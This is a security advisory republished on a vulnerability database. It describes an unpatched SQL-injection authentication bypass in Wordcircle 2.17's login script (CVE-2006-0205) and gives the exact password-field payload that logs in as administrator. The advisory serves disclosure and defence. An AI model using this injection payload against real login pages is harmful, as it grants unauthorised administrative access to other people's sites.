Bug: Wordcircle Authentication Bypass ( Ascii Version )

Search:
WLB2

Wordcircle Authentication Bypass

Published
Credit
Risk
2006.01.13
alex evuln com
Medium
CWE
CVE
Local
Remote
CWE-89
CVE-2006-0205
Yes
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5.1/10
6.4/10
4.9/10
Exploit range
Attack complexity
Authentication
Remote
High
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

New eVuln Advisory:
Wordcircle Authentication Bypass

--------------------Summary----------------

Software: Wordcircle
Sowtware's Web Site: http://www.wordcircle.org/
Versions: 2.17
Critical Level: Moderate
Type: SQL Injection
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
eVuln ID: EV0027

-----------------Description---------------
Vulnerable scripts:
v_login.php

User-defined password isn't properly sanitized before being used in a SQL query. This can be used to log in as
administrator without password.

Condition: gpc_magic_quotes: off

--------------Exploit----------------------
Login Page:
http://host/index.php?a=login

Enter your email address: any
Enter your password: a' or 1/*

--------------Solution---------------------
No Patch available.

--------------Credit-----------------------
Original Advisory:
http://evuln.com/vulns/27/summary.html

Discovered by: Aliaksandr Hartsuyeu (eVuln.com)

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version